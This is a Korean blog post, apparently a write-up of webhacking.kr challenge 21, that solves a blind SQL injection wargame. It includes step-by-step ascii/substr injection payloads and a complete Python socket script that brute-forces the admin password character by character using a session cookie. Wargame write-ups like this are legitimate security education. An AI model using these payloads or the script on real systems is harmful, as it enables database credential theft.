안녕하세요. 오늘은 webhacking 21번 문제를 풀어보겠습니다.

홈페이지로 들어가 21번 문제를 눌러주세요.

초기화면입니다. 칸이 있고 제출버튼과 결과버튼이 보이는군요. 일단 임의로 값을 넣어봅시다.

1을 넣었을때의 값입니다. true가 나오는군요. 그래서 1~10까지 넣어보았습니다.

1과 2는 참이었지만 3부터는 false가 나오더군요. 숫자는 시험해봤으니 이제는 영어로 넣어봅시다.   ... 영어는 false가 나오는 것을 알 수 있습니다. 즉 ture가 되는 값은 아직까진 1과 2이군요. 소스를 한 번 봅시다.

음? 별다른 내용이 없습니다. 이건 뭐 문제도 없고 풀 방법이 안보입니다. 어떻게 해야할까요?

다시한번 1을 제출해봅시다. 그리고 주소창을 봅시다.

no값이 1이 주어졌으며 뒤쪽의 id와 pw가 있습니다. 흠... 이번엔 2를 제출해봅시다.

no값이 2가 주어졌으며 뒤쪽의 id와 pw가 있는 것을 확인 할 수 있습니다.

이것을 보아하니 우리는 id와 pw가 존재한다는 것을 알 수 있습니다. 그리고 값이 없기 때문에 이 id와 pw의 값을 알아내야 한다는 것도 알 수 있습니다. 

sql이므로 id와 pw는 테이블에서 가져오겠지요. 테이블을 예상해보자면

no    id      pw

1     ?        ?

2     ?         ?

이런식으로 예상 할 수 있습니다. no의 값이 1과 2외에는 전부 거짓을 반환하기 때문에 no는 1과 2밖에 없습니다 .

자 여기서 우리는 쿼리문을 예상 할 수 있습니다.

$q = mysql_fetch_array(mysql_query(select no,id,pw from table where no=$GET_no))

if(!$q) echo false

else echo true

이렇게 말입니다. 쿼리문을 보시면 q가 입력받은 no값에 맞는 no.id.pw의 값을 가져옵니다.

그리고 그 q의 값을 반전시켜 참이면 false 거짓이면 true가 나오도록 하는 구조입니다.

만약 q값이 참인 상태에서 반전시키면 거짓이 되므로 true가 나올 것이고 q값이 거짓인 상태에서 반전시키면 참이 되기 때문에 false가 나올 것입니다. 그냥 쉽게 생각하시면 q가 참이면 true q가 거짓이면 false를 반환합니다. 값이 0이 아닌 값이면 참, 값이 0이면 ture를 반환합니다. 

만약 쿼리문이 저렇게 되있다면 테이블에 존재하는 no값을 입력했을 경우 그에 해당하는 no,id,pw가 반환되어 참을 출력할 것이고 테이블에 존재하지 않는 no값을 입력했을 경우 해당되는 것이 없기 때문에 거짓을 출력할 것입니다.

자 여기까지 왔으면 이제 공격기법을 쓸 차례입니다. 우리는 GET_no를 손댈 수 있으므로 적절히 바꿔서 id와 pw를 알아내 봅시다. 일단 no가 1인 id를 알아내봅시다.

1 and length(id)=1를 입력합시다. 이 조건문의 의미는 no값이 1이면서 id의 길이가 1인 조건이란 뜻입니다. 만약 id의 길이가 1이라면 참을 반환할 것이고 아니라면 거짓을 반환하겠지요. 아무래도 길이가 1은 아닌것 같습니다. 하긴 저같아도 길이를 1로 하진 않습니다.. 1이 안되니 2를 입력해보고 안되면 3 .. 이렇계 계속 해 봅시다. 그러면

5에서 true값이 나오는 것을 알 수 있습니다. 즉 no값이 1인 id의 길이는 5입니다. 그러면 이번엔 pw도 해봅시다.

pw의 길이도 5이군요. 그러면 이번엔 no값이 2인 id와 pw길이를 파악합시다.

2의 id도 길이가 5입니다.

???? no값이 2인 pw의 길이는 무려 19가 됩니다. 왤케 긴걸까요.. 물론 1부터 맞추느라 너무 힘들었습니다. 그러면 다시 테이블을 정리해 봅시다.

no    id      pw

1     ?(5)      ?(5)

2     ?(5)      ?(19)

네 이렇게 되는군요. 그런데? id글자수가 5개면 생각나는게 딱 하나 있죠. admin(관리자)입니다. 즉 no의 1과 2 둘중 하나의 id는 admin입니다. admin을 찾아내기 위해 쿼리문을 제출해봅시다. 

1 and ascii(substr(id,1,1))=97를 입력해줍시다.

ascii는 문자를 해당 아스키값으로 바꿔주는 함수이구요. substr는 문자열 중에서 특정 시작부분과 끝부분 사이의 문자열을 추출 하는 값입니다. 즉 위의 substr은 id에서 1번째 문자 1개를 추출하라라는 소리입니다. 즉 이 문구는 no가 1인 id의 첫글자가 a인지 아닌지 판별하는 문구입니다. 

아니라는군요. 그러면 2로 함 해봅시다.

true값이 나오는 군요. 아무래도 2의 id는 admin인것 같습니다. 다만 확인을 위해 두번째 글자도 살펴봅시다.

참이 뜨는군요. admin이 확실합니다.

no    id      pw

1     ?(5)      ?(5)

2     admin    ?(19)

그런데 admin의 패스워드를 보니까 길이가 장난이 아닙니다. 아무래도 이 admin의 패스워드가 이 문제의 정답이 되지 않을까 생각이 드는군요. 그런데 이번 pw는 짐작가는 것이 없습니다. 즉 2 and ascii(substr(pw,1,1))=1 부터 2 and ascii(substr(pw,1,1))=127까지 찾아야 합니다. ㅎㄷㄷ 게다가 이렇게 했는데 고작 첫번째 글자하나 맞출 뿐입니다.

그다음은 2 and ascii(substr(pw,2,1))=1 부터 2 and ascii(substr(pw,2,1))=127까지 하고.. 그렇게 쭉 하다가 2 and ascii(substr(pw,19,1))=127까지 한다면 사람이 미쳐버립니다.

우리는 이런 노가다를 하기가 불가능 하므로 코드를 하나 짜서 할 필요가 있습니다.

[출처] substr() 사용하기|작성자 길당

우리는 이럴때 프로그램을 사용해봅시다. 파이썬이란 프로그램입니다.

원래 코드를 짠다는 것이 프로그래밍을 한다는 뜻입니다. 프로그래밍은 손이나 눈으로 할 수 있는 일들을 더 빨리 처리하기 위해 사용되지요. 프로그래밍이라 하면 대부분 c언어를 생각합니다만 사람들이 소스를 짤때에는 간단하고 쉽게 짜길 원하기 때문에 프로그램을 많이 씁니다. 그래서 그 중 유명한 프로그램인 파이썬을 사용해보겠습니다

홈페이지로 가서 받으시면 됩니다. 2.7.10버전을 눌러 받아주시기 바랍니다.

설치가 완료되었으면 실행시켜 봅시다.

IDLE를 누르면 다음과 같이 창이 뜹니다. 자 우리는 소스를 만들어야 하므로 file - new file을 눌러주세요.

새창이 떳으면 다음과 같이 적어줍시다.

이 소스는 사실 가져온것입니다. 그래서 해석은 따로 하지 않겠습니다. 사실 못합니다..

잘보이지 않는 분을 위해 글자로 써놓겠습니다.

import socket

import re


pw=""

my_cookie="자신의 phpsessid값"


host="Host: webhacking.kr\n"

cookie="Cookie: PHPSESSID=%s\n\n" % my_cookie


web = 'webhacking.kr'

ip = socket.gethostbyname(web)


socket.setdefaulttimeout(5)


for i in range(1,20): 

    s = socket.socket()

    s.connect((ip, 80))

    for j in range(48,58):

        head1="GET /challenge/bonus/bonus-1/index.php?pw=&id=&no=if((select(ord(substr(pw,("

        head2="%d" % i

        head3="),1)))in("

        head4="%d" % j

        head5=")),2,3) HTTP/1.1\n"

        s.send(head1+head2+head3+head4+head5+host+cookie)

        aa=s.recv(1024)

        print("i: %d, j: %d (%s)") % (i, j, chr(j))

        find = re.findall("True</b>",aa)


        if find:

            pw+=chr(j)

            print "find pw: " + pw

            break

        if j == 126:

            s.close()

            print "Password is %s" %(pw)

            exit()

위의 my cookie의 값은 우리가 로그인을 하고 21번문제에 들어왔을때의 phpsessid값입니다. 

이 값을 줘야 파이썬이 나의 계정으로 로그인 되어있는 상태로 접속을 합니다.

지금 저 소스는 i가 1에서 20까지 한다는 군요. 즉 i값이 20이 되는 순간 종료가 됩니다. 우리는 19번 까지 패스워드를 구해야 하므로 20까지 하는 것이 맞습니다. 그리고 그 밑의 j의 범위는 48에서 58까지라고 되어있네요. 아스키코드로 48은 0이고 57은 9입니다. 범위를 48에서 57까지로 해놓으면 57이 되었을때 종료가 되버리기 때문에 9를 검사하지 않습니다. 그래서 1을 더한 58까지로 지정해놓았습니다. 값을 찾으면 찾은 값을 문자화시켜 출력하라고 되어있네요. 최종적으로 값을 수정하셨으면 py의 확장자로 저장을 한 후 F5번을 눌러 실행시킵시다

그러면 아래와 같이 뜹니다.

아무래도 패스워드는 숫자가 아닌것 같습니다. 그러면 이번엔 대문자로 맞춰봅시다.

수정을 하고 결과를 봅시다.

패스워드엔 숫자와 대문자가 안들어가는 것 같습니다. 이번엔 소문자로 해봅시다.

오호 한글자씩 출력이 되더니 마지막엔 19글자가 나오는것을 볼수 있습니다. 저것이 바로 admin의 패스워드입니다. 문제의 정답일지도 모르니 한번 auth에 인증을 해봅시다.

네 이것으로 문제풀이를 마치겠습니다. 소스를 공유하신 분께  감사의 말씀을 전합니다. 

'Webhacking' 카테고리의 다른 글

webhacking - 61번 문제  (0) 2015.08.07
webhacking - 49번 문제  (0) 2015.08.07
webhacking - 46번 문제  (0) 2015.08.01
webhacking - 36번 문제  (0) 2015.07.30
webhacking - 35번 문제  (0) 2015.07.29
Posted by englishmath
,